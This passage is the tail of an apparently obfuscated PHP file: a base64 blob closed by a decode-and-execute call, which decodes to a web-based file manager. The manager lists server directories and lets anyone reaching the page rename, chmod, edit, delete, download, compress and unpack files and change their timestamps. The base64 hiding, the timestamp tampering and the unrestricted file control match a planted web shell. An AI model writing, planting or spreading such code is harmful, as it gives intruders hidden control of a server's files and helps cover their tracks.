PjxhIGhyZWY9Ij9wYXRoPTw/PSB1cmxlbmNvZGUoZGlybmFtZSgkY3VycmVudF9wYXRoKSkgPz4iPi4uPC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkPlBhcmVudCBEaXJlY3Rvcnk8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZD48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZD48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZD48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZD48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZD48L3RkPgogICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgICRpdGVtcyA9IHNjYW5kaXIoJGN1cnJlbnRfcGF0aCk7CiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXlfZmlsdGVyKCRpdGVtcywgZnVuY3Rpb24oJGl0ZW0pIHVzZSAoJGN1cnJlbnRfcGF0aCkgewogICAgICAgICAgICAgICAgcmV0dXJuIGlzX2RpcigkY3VycmVudF9wYXRoIC4gJy8nIC4gJGl0ZW0pICYmICRpdGVtICE9PSAnLicgJiYgJGl0ZW0gIT09ICcuLic7CiAgICAgICAgICAgIH0pOwogICAgICAgICAgICAkZmlsZXMgPSBhcnJheV9maWx0ZXIoJGl0ZW1zLCBmdW5jdGlvbigkaXRlbSkgdXNlICgkY3VycmVudF9wYXRoKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gaXNfZmlsZSgkY3VycmVudF9wYXRoIC4gJy8nIC4gJGl0ZW0pOwogICAgICAgICAgICB9KTsKICAgICAgICAgICAgPz4KICAgICAgICAgICAgPD9waHAgZm9yZWFjaCAoJGZvbGRlcnMgYXMgJGl0ZW0pOiA/PgogICAgICAgICAgICAgICAgPD9waHAgJGl0ZW1fcGF0aCA9ICRjdXJyZW50X3BhdGggLiAnLycgLiAkaXRlbTsgPz4KICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9wYXRoPTw/PSB1cmxlbmNvZGUoJGl0ZW1fcGF0aCkgPz4iPjw/PSAkaXRlbSA/PjwvYT4KICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZD5EaXJlY3Rvcnk8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZD48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZD48Pz0gc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRpdGVtX3BhdGgpKSwgLTQpID8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQ+PD89IHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigkaXRlbV9wYXRoKSlbJ25hbWUnXSAuICcvJyAuIHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkaXRlbV9wYXRoKSlbJ25hbWUnXSA/PjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkPjw/PSBkYXRlKCJZLW0tZCBIOmk6cyIsIGZpbGVtdGltZSgkaXRlbV9wYXRoKSkgPz48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJvcGVuUmVuYW1lTW9kYWwoJzw/PSAkaXRlbSA/PicpIj5SZW5hbWU8L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJvcGVuQ2htb2RNb2RhbCgnPD89ICRpdGVtID8+JykiPkNobW9kPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gb25jbGljaz0ib3BlblRpbWVzdGFtcE1vZGFsKCc8Pz0gJGl0ZW0gPz4nKSI+VGltZXN0YW1wPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gb25jbGljaz0iaWYoY29uZmlybSgnQXJlIHlvdSBzdXJlPycpKSB7IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdkZWxldGVGb3JtPD89ICRpdGVtID8+Jykuc3VibWl0KCk7IH0iPkRlbGV0ZTwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIG9uY2xpY2s9IndpbmRvdy5sb2NhdGlvbi5ocmVmPSc/cGF0aD08Pz0gdXJsZW5jb2RlKCRjdXJyZW50X3BhdGgpID8+JmRvd25sb2FkPTw/PSB1cmxlbmNvZGUoJGl0ZW0pID8+JyI+RG93bmxvYWQ8L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJpZihjb25maXJtKCdDb21wcmVzcyB0aGlzIGZvbGRlcj8nKSkgeyBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY29tcHJlc3NGb3JtPD89ICRpdGVtID8+Jykuc3VibWl0KCk7IH0iPkNvbXByZXNzPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGlkPSJkZWxldGVGb3JtPD89ICRpdGVtID8+IiBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBzdHlsZT0iZGlzcGxheTpub25lOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0YXJnZXQiIHZhbHVlPSI8Pz0gJGl0ZW0gPz4iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0iZGVsZXRlIj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBpZD0iY29tcHJlc3NGb3JtPD89ICRpdGVtID8+IiBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBzdHlsZT0iZGlzcGxheTpub25lOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0YXJnZXQiIHZhbHVlPSI8Pz0gJGl0ZW0gPz4iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0iY29tcHJlc3MiPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDw/cGhwIGVuZGZvcmVhY2g7ID8+CiAgICAgICAgICAgIDw/cGhwIGZvcmVhY2ggKCRmaWxlcyBhcyAkaXRlbSk6ID8+CiAgICAgICAgICAgICAgICA8P3BocCAkaXRlbV9wYXRoID0gJGN1cnJlbnRfcGF0aCAuICcvJyAuICRpdGVtOyA/PgogICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZD48Pz0gJGl0ZW0gPz48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZD5GaWxlPC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQ+PD89IGZpbGVzaXplKCRpdGVtX3BhdGgpIC4gJyBieXRlcycgPz48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZD48Pz0gc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRpdGVtX3BhdGgpKSwgLTQpID8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQ+PD89IHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigkaXRlbV9wYXRoKSlbJ25hbWUnXSAuICcvJyAuIHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkaXRlbV9wYXRoKSlbJ25hbWUnXSA/PjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkPjw/PSBkYXRlKCJZLW0tZCBIOmk6cyIsIGZpbGVtdGltZSgkaXRlbV9wYXRoKSkgPz48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJvcGVuUmVuYW1lTW9kYWwoJzw/PSAkaXRlbSA/PicpIj5SZW5hbWU8L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJvcGVuQ2htb2RNb2RhbCgnPD89ICRpdGVtID8+JykiPkNobW9kPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gb25jbGljaz0ib3BlblRpbWVzdGFtcE1vZGFsKCc8Pz0gJGl0ZW0gPz4nKSI+VGltZXN0YW1wPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gb25jbGljaz0ib3BlbkVkaXRvcignPD89ICRpdGVtID8+JykiPkVkaXQ8L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJpZihjb25maXJtKCdBcmUgeW91IHN1cmU/JykpIHsgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2RlbGV0ZUZvcm08Pz0gJGl0ZW0gPz4nKS5zdWJtaXQoKTsgfSI+RGVsZXRlPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gb25jbGljaz0id2luZG93LmxvY2F0aW9uLmhyZWY9Jz9wYXRoPTw/PSB1cmxlbmNvZGUoJGN1cnJlbnRfcGF0aCkgPz4mZG93bmxvYWQ9PD89IHVybGVuY29kZSgkaXRlbSkgPz4nIj5Eb3dubG9hZDwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAocGF0aGluZm8oJGl0ZW1fcGF0aCwgUEFUSElORk9fRVhURU5TSU9OKSA9PT0gJ3ppcCcpOiA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJpZihjb25maXJtKCdVbmNvbXByZXNzIHRoaXMgZmlsZT8nKSkgeyBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndW5jb21wcmVzc0Zvcm08Pz0gJGl0ZW0gPz4nKS5zdWJtaXQoKTsgfSI+VW5jb21wcmVzczwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbHNlOiA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJpZihjb25maXJtKCdDb21wcmVzcyB0aGlzIGZpbGU/JykpIHsgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NvbXByZXNzRm9ybTw/PSAkaXRlbSA/PicpLnN1Ym1pdCgpOyB9Ij5Db21wcmVzczwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gaWQ9ImRlbGV0ZUZvcm08Pz0gJGl0ZW0gPz4iIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIHN0eWxlPSJkaXNwbGF5Om5vbmU7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InRhcmdldCIgdmFsdWU9Ijw/PSAkaXRlbSA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJkZWxldGUiPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGlkPSJjb21wcmVzc0Zvcm08Pz0gJGl0ZW0gPz4iIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIHN0eWxlPSJkaXNwbGF5Om5vbmU7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InRhcmdldCIgdmFsdWU9Ijw/PSAkaXRlbSA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJjb21wcmVzcyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gaWQ9InVuY29tcHJlc3NGb3JtPD89ICRpdGVtID8+IiBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBzdHlsZT0iZGlzcGxheTpub25lOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0YXJnZXQiIHZhbHVlPSI8Pz0gJGl0ZW0gPz4iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0idW5jb21wcmVzcyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPD9waHAgZW5kZm9yZWFjaDsgPz4KICAgICAgICA8L3Rib2R5PgogICAgPC90YWJsZT4KCiAgICA8IS0tIE1vZGFscyAtLT4KICAgIDxkaXYgaWQ9InJlbmFtZU1vZGFsIiBjbGFzcz0ibW9kYWwiPgogICAgICAgIDxoMj5SZW5hbWU8L2gyPgogICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0YXJnZXQiIGlkPSJyZW5hbWVUYXJnZXQiPgogICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmV3X25hbWUiIHBsYWNlaG9sZGVyPSJOZXcgTmFtZSIgcmVxdWlyZWQ+CiAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJyZW5hbWUiPlJlbmFtZTwvYnV0dG9uPgogICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgb25jbGljaz0iY2xvc2VNb2RhbCgncmVuYW1lTW9kYWwnKSI+Q2FuY2VsPC9idXR0b24+CiAgICAgICAgPC9mb3JtPgogICAgPC9kaXY+CgogICAgPGRpdiBpZD0iY2htb2RNb2RhbCIgY2xhc3M9Im1vZGFsIj4KICAgICAgICA8aDI+Q2hhbmdlIFBlcm1pc3Npb25zPC9oMj4KICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idGFyZ2V0IiBpZD0iY2htb2RUYXJnZXQiPgogICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibW9kZSIgcGxhY2Vob2xkZXI9ImUuZy4sIDc1NSIgcmVxdWlyZWQ+CiAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJjaG1vZCI+Q2hhbmdlPC9idXR0b24+CiAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBvbmNsaWNrPSJjbG9zZU1vZGFsKCdjaG1vZE1vZGFsJykiPkNhbmNlbDwvYnV0dG9uPgogICAgICAgIDwvZm9ybT4KICAgIDwvZGl2PgoKICAgIDxkaXYgaWQ9InRpbWVzdGFtcE1vZGFsIiBjbGFzcz0ibW9kYWwiPgogICAgICAgIDxoMj5DaGFuZ2UgVGltZXN0YW1wPC9oMj4KICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idGFyZ2V0IiBpZD0idGltZXN0YW1wVGFyZ2V0Ij4KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImRhdGV0aW1lLWxvY2FsIiBuYW1lPSJ0aW1lc3RhbXAiIHJlcXVpcmVkPgogICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0idG91Y2giPkNoYW5nZTwvYnV0dG9uPgogICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgb25jbGljaz0iY2xvc2VNb2RhbCgndGltZXN0YW1wTW9kYWwnKSI+Q2FuY2VsPC9idXR0b24+CiAgICAgICAgPC9mb3JtPgogICAgPC9kaXY+CgogICAgPGRpdiBpZD0iZWRpdG9yTW9kYWwiIGNsYXNzPSJtb2RhbCI+CiAgICAgICAgPGgyPkVkaXQgRmlsZTwvaDI+CiAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0YXJnZXQiIGlkPSJlZGl0VGFyZ2V0Ij4KICAgIDx0ZXh0YXJlYSBuYW1lPSJmaWxlX2NvbnRlbnQiIGlkPSJmaWxlQ29udGVudCI+PC90ZXh0YXJlYT48YnI+CiAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0iZWRpdF9maWxlIj5TYXZlPC9idXR0b24+CiAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgb25jbGljaz0iY2xvc2VNb2RhbCgnZWRpdG9yTW9kYWwnKSI+Q2FuY2VsPC9idXR0b24+CjwvZm9ybT4KICAgIDwvZGl2PgoKICAgIDxzY3JpcHQ+CiAgICAgICAgZnVuY3Rpb24gb3BlblJlbmFtZU1vZGFsKHRhcmdldCkgewogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncmVuYW1lVGFyZ2V0JykudmFsdWUgPSB0YXJnZXQ7CiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdyZW5hbWVNb2RhbCcpLnN0eWxlLmRpc3BsYXkgPSAnYmxvY2snOwogICAgICAgIH0KCiAgICAgICAgZnVuY3Rpb24gb3BlbkNobW9kTW9kYWwodGFyZ2V0KSB7CiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjaG1vZFRhcmdldCcpLnZhbHVlID0gdGFyZ2V0OwogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY2htb2RNb2RhbCcpLnN0eWxlLmRpc3BsYXkgPSAnYmxvY2snOwogICAgICAgIH0KCiAgICAgICAgZnVuY3Rpb24gb3BlblRpbWVzdGFtcE1vZGFsKHRhcmdldCkgewogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndGltZXN0YW1wVGFyZ2V0JykudmFsdWUgPSB0YXJnZXQ7CiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0aW1lc3RhbXBNb2RhbCcpLnN0eWxlLmRpc3BsYXkgPSAnYmxvY2snOwogICAgICAgIH0KCiAgICAgICAgZnVuY3Rpb24gb3BlbkVkaXRvcihmaWxlKSB7CiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlZGl0VGFyZ2V0JykudmFsdWUgPSBmaWxlOwogICAgICAgICAgICBmZXRjaCgnP3BhdGg9PD89IHVybGVuY29kZSgkY3VycmVudF9wYXRoKSA/PiZmaWxlPScgKyBmaWxlICsgJyZyYXc9dHJ1ZScpCiAgICAgICAgICAgIC50aGVuKHJlc3BvbnNlID0+IHJlc3BvbnNlLnRleHQoKSkKICAgICAgICAgICAgLnRoZW4oZGF0YSA9PiB7CiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdmaWxlQ29udGVudCcpLnZhbHVlID0gZGF0YTsKICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2VkaXRvck1vZGFsJykuc3R5bGUuZGlzcGxheSA9ICdibG9jayc7CiAgICAgICAgfSk7Cn0KCiAgICAgICAgZnVuY3Rpb24gY2xvc2VNb2RhbChtb2RhbElkKSB7CiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKG1vZGFsSWQpLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7CiAgICAgICAgfQogICAgPC9zY3JpcHQ+CjwvYm9keT4KPC9odG1sPg=="))); ?>